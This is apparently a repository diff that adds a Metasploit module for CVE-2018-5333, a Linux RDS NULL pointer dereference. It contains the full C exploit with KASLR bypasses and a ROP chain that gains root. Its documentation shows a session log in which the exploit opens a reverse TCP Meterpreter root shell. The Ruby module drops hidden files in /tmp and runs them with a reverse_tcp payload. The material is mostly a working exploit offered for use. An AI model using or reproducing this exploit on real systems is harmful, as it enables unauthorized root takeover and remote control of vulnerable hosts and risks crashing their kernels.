|
||||
|
||||
if (substr == NULL)
|
||||
return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long addr = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
addr &= 0xfffffffffff00000ul;
|
||||
addr -= 0x1000000ul;
|
||||
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
|
||||
return addr;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
addr = get_kernel_addr_syslog_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * perf_event_open KASLR bypass * * * * * * * * * * *
|
||||
// https://blog.lizzie.io/kaslr-and-perf.html
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
int perf_event_open(struct perf_event_attr *attr, pid_t pid, int cpu, int group_fd, unsigned long flags)
|
||||
{
|
||||
return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_perf() {
|
||||
int fd;
|
||||
pid_t child;
|
||||
|
||||
dprintf("[.] trying perf_event_open sampling...\n");
|
||||
|
||||
child = fork();
|
||||
|
||||
if (child == -1) {
|
||||
dprintf("[-] fork() failed: %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (child == 0) {
|
||||
struct utsname self = {0};
|
||||
while (1) uname(&self);
|
||||
return 0;
|
||||
}
|
||||
|
||||
struct perf_event_attr event = {
|
||||
.type = PERF_TYPE_SOFTWARE,
|
||||
.config = PERF_COUNT_SW_TASK_CLOCK,
|
||||
.size = sizeof(struct perf_event_attr),
|
||||
.disabled = 1,
|
||||
.exclude_user = 1,
|
||||
.exclude_hv = 1,
|
||||
.sample_type = PERF_SAMPLE_IP,
|
||||
.sample_period = 10,
|
||||
.precise_ip = 1
|
||||
};
|
||||
|
||||
fd = perf_event_open(&event, child, -1, -1, 0);
|
||||
|
||||
if (fd < 0) {
|
||||
dprintf("[-] syscall(SYS_perf_event_open): %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
struct perf_event_mmap_page *meta_page = NULL;
|
||||
meta_page = mmap(NULL, (page_size * 2), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
|
||||
|
||||
if (meta_page == MAP_FAILED) {
|
||||
dprintf("[-] mmap() failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (ioctl(fd, PERF_EVENT_IOC_ENABLE)) {
|
||||
dprintf("[-] ioctl failed: %m\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
char *data_page = ((char *) meta_page) + page_size;
|
||||
|
||||
size_t progress = 0;
|
||||
uint64_t last_head = 0;
|
||||
size_t num_samples = 0;
|
||||
unsigned long min_addr = ~0;
|
||||
while (num_samples < 100) {
|
||||
/* is reading from the meta_page racy? no idea */
|
||||
while (meta_page->data_head == last_head);;
|
||||
last_head = meta_page->data_head;
|
||||
|
||||
while (progress < last_head) {
|
||||
struct __attribute__((packed)) sample {
|
||||
struct perf_event_header header;
|
||||
uint64_t ip;
|
||||
} *here = (struct sample *) (data_page + progress % page_size);
|
||||
switch (here->header.type) {
|
||||
case PERF_RECORD_SAMPLE:
|
||||
num_samples++;
|
||||
if (here->header.size < sizeof(*here)) {
|
||||
dprintf("[-] size too small.\n");
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
|
||||
uint64_t prefix;
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
prefix = here->ip & ~0xfffff;
|
||||
} else {
|
||||
prefix = here->ip & ~0xffffff;
|
||||
}
|
||||
|
||||
if (prefix < min_addr) min_addr = prefix;
|
||||
break;
|
||||
case PERF_RECORD_THROTTLE:
|
||||
case PERF_RECORD_UNTHROTTLE:
|
||||
case PERF_RECORD_LOST:
|
||||
break;
|
||||
default:
|
||||
dprintf("[-] unexpected perf event: %x\n", here->header.type);
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return 0;
|
||||
}
|
||||
progress += here->header.size;
|
||||
}
|
||||
/* tell the kernel we read it. */
|
||||
meta_page->data_tail = last_head;
|
||||
}
|
||||
|
||||
if (child) kill(child, SIGKILL);
|
||||
if (fd > 0) close(fd);
|
||||
return min_addr;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize() / sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
|
||||
if (strstr(kernels[kernel].kernel_version, "4.8.0-")) {
|
||||
dprintf("[-] target kernel does not permit mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000,
|
||||
PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore(): %m\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap(): %m\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_KALLSYMS
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_SYSLOG
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_PERF
|
||||
addr = get_kernel_addr_perf();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
#if ENABLE_KASLR_BYPASS_MINCORE
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
#endif
|
||||
|
||||
dprintf("[-] KASLR bypass failed, kernel base not found\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static void shell() {
|
||||
if (getuid() == 0 && geteuid() == 0) {
|
||||
dprintf("[+] got root\n");
|
||||
system(SHELL);
|
||||
} else {
|
||||
dprintf("[-] failed\n");
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
void fork_shell() {
|
||||
pid_t rv;
|
||||
|
||||
rv = fork();
|
||||
if (rv == -1) {
|
||||
dprintf("[-] fork(): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (rv == 0)
|
||||
shell();
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
dprintf("Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)\n");
|
||||
|
||||
dprintf("[.] checking kernel version...\n");
|
||||
detect_versions();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
#if ENABLE_SYSTEM_CHECKS
|
||||
dprintf("[.] checking system...\n");
|
||||
check_env();
|
||||
dprintf("[~] done, looks good\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] mapping null address...\n");
|
||||
map_null();
|
||||
dprintf("[~] done, mapped null address\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel base address\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[.] done, kernel text: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
unsigned long commit_creds = (KERNEL_BASE + kernels[kernel].commit_creds);
|
||||
unsigned long prepare_kernel_cred = (KERNEL_BASE + kernels[kernel].prepare_kernel_cred);
|
||||
unsigned long xor_rdi = (KERNEL_BASE + kernels[kernel].xor_rdi);
|
||||
unsigned long mov_rdi_rax = (KERNEL_BASE + kernels[kernel].mov_rdi_rax);
|
||||
unsigned long xchg_esp = (KERNEL_BASE + kernels[kernel].xchg_esp);
|
||||
unsigned long swapgs = (KERNEL_BASE + kernels[kernel].swapgs);
|
||||
unsigned long iretq = (KERNEL_BASE + kernels[kernel].iretq);
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", commit_creds);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", prepare_kernel_cred);
|
||||
|
||||
dprintf("[.] mmapping fake stack...\n");
|
||||
|
||||
uint64_t page_size = getpagesize();
|
||||
uint64_t stack_aligned = (xchg_esp & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
uint64_t stack_offset = xchg_esp % page_size;
|
||||
|
||||
unsigned long *fake_stack = mmap((void*)stack_aligned, 0x200000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (fake_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(fake_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
unsigned long *temp_stack = mmap((void*)0x30000000, 0x10000000,
|
||||
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
|
||||
|
||||
if (temp_stack == MAP_FAILED) {
|
||||
dprintf("[-] mmap(temp_stack): %m\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
static unsigned long result = 0;
|
||||
unsigned long *data = (unsigned long *)0;
|
||||
data[1] = (uint64_t)&result;
|
||||
data[3] = xchg_esp;
|
||||
|
||||
save_state();
|
||||
debug_enable_sigsev_handler();
|
||||
|
||||
fake_stack = (unsigned long *)(stack_aligned + stack_offset);
|
||||
|
||||
int i = 0;
|
||||
|
||||
fake_stack[i++] = xor_rdi;
|
||||
fake_stack[i++] = prepare_kernel_cred;
|
||||
fake_stack[i++] = mov_rdi_rax;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
fake_stack[i++] = commit_creds;
|
||||
|
||||
fake_stack[i++] = swapgs;
|
||||
fake_stack[i++] = 0x12345678;
|
||||
|
||||
fake_stack[i++] = iretq;
|
||||
fake_stack[i++] = (unsigned long)shell;
|
||||
fake_stack[i++] = user_cs;
|
||||
fake_stack[i++] = user_rflags;
|
||||
fake_stack[i++] = (unsigned long)(temp_stack + 0x500000);
|
||||
fake_stack[i++] = user_ss;
|
||||
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
|
||||
dprintf("[.] executing payload %p...\n", (void*)&shell);
|
||||
trigger_bug();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
BIN
data/exploits/CVE-2018-5333/cve-2018-5333.out
Normal file
BIN
data/exploits/CVE-2018-5333/cve-2018-5333.out
Normal file
Binary file not shown.
@ -0,0 +1,129 @@
|
||||
## Description
|
||||
|
||||
This module attempts to gain root privileges on Linux systems by abusing
|
||||
a NULL pointer dereference in the `rds_atomic_free_op` function in the
|
||||
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
|
||||
|
||||
Successful exploitation requires the RDS kernel module to be loaded.
|
||||
If the RDS module is not blacklisted (default); then it will be loaded
|
||||
automatically.
|
||||
|
||||
This exploit supports 64-bit Ubuntu Linux systems, including distributions
|
||||
based on Ubuntu, such as Linux Mint and Zorin OS.
|
||||
|
||||
Target offsets are available for:
|
||||
|
||||
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
|
||||
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.
|
||||
|
||||
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
|
||||
Failed exploitation may crash the kernel.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on various 4.4 and 4.8 kernels.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc`
|
||||
4. `set SESSION <SESSION>`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
**COMPILE**
|
||||
|
||||
Options: `Auto` `True` `False` (default: `Auto`)
|
||||
|
||||
Whether the exploit should be live compiled with `gcc` on the target system,
|
||||
or uploaded as a pre-compiled binary.
|
||||
|
||||
`Auto` will first determine if `gcc` is installed to compile live on the system,
|
||||
and fall back to uploading a pre-compiled executable.
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 16.04 kernel 4.8.0-51-lowlatency #54~16.04.1-Ubuntu
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc
|
||||
msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set verbose true
|
||||
verbose => true
|
||||
msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > check
|
||||
|
||||
[+] System architecture x86_64 is supported
|
||||
[+] Linux kernel 4.8.0-51-lowlatency #54~16.04.1-Ubuntu is vulnerable
|
||||
[+] SMAP is not enabled
|
||||
[+] LKRG is not installed
|
||||
[+] grsecurity is not in use
|
||||
[+] rds.ko kernel module is loaded
|
||||
[*] The target appears to be vulnerable.
|
||||
msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > set lhost 172.16.191.165
|
||||
lhost => 172.16.191.165
|
||||
msf5 exploit(linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.165:4444
|
||||
[+] System architecture x86_64 is supported
|
||||
[+] Linux kernel 4.8.0-51-lowlatency #54~16.04.1-Ubuntu is vulnerable
|
||||
[+] SMAP is not enabled
|
||||
[+] LKRG is not installed
|
||||
[+] grsecurity is not in use
|
||||
[+] rds.ko kernel module is loaded
|
||||
[+] gcc is installed
|
||||
[*] Live compiling exploit on system...
|
||||
[*] Writing '/tmp/.zwl2ezPl' (250 bytes) ...
|
||||
[*] Launching exploit (timeout: 30)...
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3021284 bytes) to 172.16.191.206
|
||||
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.206:48130) at 2019-12-21 02:22:40 -0500
|
||||
[+] Deleted /tmp/.aCNiWb9vps
|
||||
[+] Deleted /tmp/.zwl2ezPl
|
||||
[*] Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
|
||||
[*] [.] checking kernel version...
|
||||
[*] [.] kernel version '4.8.0-51-lowlatency #54~16.04.1-Ubuntu' detected
|
||||
[*] [~] done, version looks good
|
||||
[*] [.] checking system...
|
||||
[*] [~] done, looks good
|
||||
[*] [.] mapping null address...
|
||||
[*] [~] done, mapped null address
|
||||
[*] [.] KASLR bypass enabled, getting kernel base address
|
||||
[*] [.] trying /proc/kallsyms...
|
||||
[*] [-] kernel base not found in /proc/kallsyms
|
||||
[*] [.] trying syslog...
|
||||
[*] [.] done, kernel text: ffffffffa7c00000
|
||||
[*] [.] commit_creds: ffffffffa7ca6ed0
|
||||
[*] [.] prepare_kernel_cred: ffffffffa7ca72e0
|
||||
[*] [.] mmapping fake stack...
|
||||
[*] [~] done, fake stack mmapped
|
||||
[*] [.] executing payload 0x4027f7...
|
||||
[*] [+] got root
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.16.191.206
|
||||
OS : Ubuntu 16.04 (Linux 4.8.0-51-lowlatency)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
@ -0,0 +1,166 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::Compile
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges on Linux systems by abusing
|
||||
a NULL pointer dereference in the `rds_atomic_free_op` function in the
|
||||
Reliable Datagram Sockets (RDS) kernel module (rds.ko).
|
||||
|
||||
Successful exploitation requires the RDS kernel module to be loaded.
|
||||
If the RDS module is not blacklisted (default); then it will be loaded
|
||||
automatically.
|
||||
|
||||
This exploit supports 64-bit Ubuntu Linux systems, including distributions
|
||||
based on Ubuntu, such as Linux Mint and Zorin OS.
|
||||
|
||||
Target offsets are available for:
|
||||
|
||||
Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116-generic; and
|
||||
Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54-generic.
|
||||
|
||||
This exploit does not bypass SMAP. Bypasses for SMEP and KASLR are included.
|
||||
Failed exploitation may crash the kernel.
|
||||
|
||||
This module has been tested successfully on various 4.4 and 4.8 kernels.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Mohamed Ghannam', # Discovery of RDS rds_atomic_free_op null pointer dereference and DoS PoC (2018-5333)
|
||||
'Jann Horn', # Discovery of MAP_GROWSDOWN mmap_min_addr bypass technique and PoC code (CVE-2019-9213)
|
||||
'wbowling', # C exploit combining 2018-5333 and CVE-2019-9213 targeting Ubuntu 16.04 kernel 4.4.0-116-generic
|
||||
'bcoles', # Metasploit module and updated C exploit
|
||||
'nstarke' # Additional kernel offsets
|
||||
],
|
||||
'DisclosureDate' => '2018-11-01',
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||
'Targets' => [[ 'Auto', {} ]],
|
||||
'Privileged' => true,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2018-5333' ],
|
||||
[ 'CVE', '2019-9213' ],
|
||||
[ 'BID', '102510' ],
|
||||
[ 'URL', 'https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4' ],
|
||||
[ 'URL', 'https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c' ],
|
||||
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2' ],
|
||||
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-5333.html' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7d11f77f84b27cef452cee332f4e469503084737' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=15133f6e67d8d646d0744336b4daa3135452cb0d' ],
|
||||
[ 'URL', 'https://github.com/bcoles/kernel-exploits/blob/master/CVE-2018-5333/cve-2018-5333.c' ]
|
||||
],
|
||||
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||
'Notes' =>
|
||||
{
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_OS_DOWN ],
|
||||
},
|
||||
'DefaultTarget' => 0))
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [ false, 'Override check result', false ]),
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def check
|
||||
arch = kernel_hardware
|
||||
unless arch.include? 'x86_64'
|
||||
return CheckCode::Safe("System architecture #{arch} is not supported")
|
||||
end
|
||||
vprint_good "System architecture #{arch} is supported"
|
||||
|
||||
offsets = strip_comments(exploit_data('CVE-2018-5333', 'cve-2018-5333.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first
|
||||
kernels = offsets.scan(/"(.+?)"/).flatten
|
||||
|
||||
version = "#{kernel_release} #{kernel_version.split(' ').first}"
|
||||
unless kernels.include? version
|
||||
return CheckCode::Safe("Linux kernel #{version} is not vulnerable")
|
||||
end
|
||||
vprint_good "Linux kernel #{version} is vulnerable"
|
||||
|
||||
if smap_enabled?
|
||||
return CheckCode::Safe('SMAP is enabled')
|
||||
end
|
||||
vprint_good 'SMAP is not enabled'
|
||||
|
||||
if lkrg_installed?
|
||||
return CheckCode::Safe('LKRG is installed')
|
||||
end
|
||||
vprint_good 'LKRG is not installed'
|
||||
|
||||
if grsec_installed?
|
||||
return CheckCode::Safe('grsecurity is in use')
|
||||
end
|
||||
vprint_good 'grsecurity is not in use'
|
||||
|
||||
unless kernel_modules.include? 'rds'
|
||||
vprint_warning 'rds.ko kernel module is not loaded, but may be autoloaded during exploitation'
|
||||
return CheckCode::Detected('rds.ko kernel module is not loaded, but may be autoloaded during exploitation')
|
||||
end
|
||||
vprint_good 'rds.ko kernel module is loaded'
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless [CheckCode::Detected, CheckCode::Appears].include? check
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
|
||||
if live_compile?
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
upload_and_compile exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.c')
|
||||
else
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
upload_and_chmodx exploit_path, exploit_data('CVE-2018-5333', 'cve-2018-5333.out')
|
||||
end
|
||||
register_file_for_cleanup exploit_path
|
||||
|
||||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
register_file_for_cleanup payload_path
|
||||
|
||||
# mincore KASLR bypass is usually fast, but can sometimes take up to 30 seconds to complete
|
||||
timeout = 30
|
||||
print_status "Launching exploit (timeout: #{timeout})..."
|
||||
output = cmd_exec("echo '#{payload_path} & exit' | #{exploit_path}", nil, timeout)
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue
Block a user